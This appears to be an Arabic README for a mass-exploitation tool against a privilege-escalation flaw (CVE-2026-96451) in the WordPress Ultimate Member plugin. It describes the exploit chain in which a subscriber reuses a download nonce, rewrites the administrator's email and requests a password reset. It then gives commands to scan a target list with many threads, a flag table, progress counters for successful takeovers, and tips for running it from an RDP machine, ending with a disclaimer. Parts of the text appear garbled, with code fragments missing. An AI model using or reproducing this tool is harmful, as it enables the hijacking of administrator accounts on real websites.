
ثغرة تصعيد الصلاحيات في إضافة WordPress Ultimate Member <= 2.13.1
ثغرة تصعيد الصلاحيات في إضافة WordPress Ultimate Member الإصدار 2.13.1 وما دون
Ultimate Member <= 2.13.1 — تصعيد الصلاحيات / الاستيلاء على الحساب
📌 السجل الرسمي: CVE-2026-96451
من CVE.org:
تجاوز التفويض عبر مفتاح يتحكم به المستخدم في Ultimate Member Ultimate Member ultimate-member يسمح بتصعيد الصلاحيات. تؤثر هذه المشكلة على Ultimate Member: من n/a حتى 2.13.1.
| الحقل | القيمة |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — تجاوز التفويض عبر مفتاح يتحكم به المستخدم |
| 📊 CVSS 3.1 | 8.8 HIGH AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 الجهة المُسندة | Patchstack |
| ⚠️ المتأثر | Ultimate Member حتى 2.13.1 |
| ✅ المُصلح | 2.14.0 |
يمكن لمشترك مسجّل الدخول تغيير البريد الإلكتروني لمستخدم آخر (عادةً المدير). ثم يقبل WordPress إعادة تعيين كلمة المرور لصندوق البريد الجديد.
um_fetch_user($user_id) ويبدّل المستخدم العام إلى المعرّف الموجود في الرابط.download_routing() يعود دون استدعاء um_reset_user()._um_account=1، user_email=...).account_submit() قيمة um_user('ID') — وهي الآن الضحية — ويكتب البريد الإلكتروني الجديد.nonce التنزيل هو wp_create_nonce($user_id . $form_id . 'um-download-nonce'). وهو مرتبط بمعرّف المستخدم هذا. لا يمكن اختلاقه. ينسخه السكربت من رابط ظاهر /um-download/{form}/{field}/{user}/{nonce}/.
يجب أن يظهر حقل ملف أو صورة مخصص على الملف الشخصي. صور الملف الشخصي/الغلاف المدمجة لا تنتج هذا الرابط.
pip install requests rich
التسجيل، وتسجيل الدخول، وجمع nonce، والاستغلال، وفحص إعادة التعيين كلها تلقائية. لا تنشئ حسابات يدوياً ولا تمرّر كلمة مرور مشترك لفحص جماعي.
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
ما يفعله هذا الأمر على كل مضيف:
/account//um-download/ (يفضّل معرّف المستخدم 1، ثم أي عضو لديه ملف)--emailwp-login.php?action=lostpassword (لا يحتاج WordPress إلى nonce هنا)um_takeover.txt--email هو صندوق البريد الذي يُوضع على حساب الهدف لتتمكن من استلام رسالة إعادة التعيين. السكربت لا يفتح صندوق الوارد ولا يعيّن كلمة مرور جديدة. تلك الخطوة الأخيرة يدوية.
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| العلم | الغرض | الافتراضي |
|---|---|---|
-l / --list | ملف الأهداف | — |
-u / --url | هدف واحد | — |
-t / --threads | العمال | 10 |
-o / --output | ملف النتائج | um_takeover.txt |
--email | صندوق البريد المكتوب على الضحية | يُنشأ تلقائياً |
--target-id | معرّف المستخدم المفضّل | 1 |
--user / --password | استخدام مشترك موجود بدلاً من التسجيل | معطّل |
-v / --verbose | طباعة كل مرحلة | معطّل |
على جهاز RDP بطيء، 80–150 خيطاً كافية. يمنح فحص القائمة كل مضيف حوالي 22 ثانية.
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| الرمز | المعنى |
|---|---|
RST / CHG | تم تغيير البريد الإلكتروني و/أو قُبلت إعادة التعيين — تحقق من صندوق الوارد |
UM | تم اكتشاف Ultimate Member |
REG | أنشأ التسجيل التلقائي جلسة |
rf | لا يوجد نموذج عام، أو CAPTCHA، أو موافقة، أو تفعيل بالبريد الإلكتروني |
lf | تم التسجيل لكن فشل تسجيل الدخول |
na | صفحة الحساب / nonce مفقود |
nd | لا يوجد nonce تنزيل ظاهر (لا يوجد حقل ملف مخصص) |
nc | أُرسل الاستغلال، ولم يُؤكَّد التغيير |
no | ليس Ultimate Member |
ظهور REG_FAIL على العديد من المضيفين أمر طبيعي. تستمر السلسلة فقط حيث ينشئ التسجيل جلسة و يكون رابط التنزيل ظاهراً.
عند ظهور RST أو CHG:
--email/wp-login.php أو /wp-admin/هذا المشروع مخصص للبحث الأمني المصرّح به فقط — الأنظمة التي تملكها أو لديك إذن كتابي باختبارها.
الوصول غير المصرّح به إلى أنظمة الحاسوب غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الضرر أو أي نتيجة لهذا البرنامج. أنت وحدك المسؤول عن كيفية استخدامه وعن كل هدف تفحصه.
بواسطة: Nxploited ( Khaled Alenazi )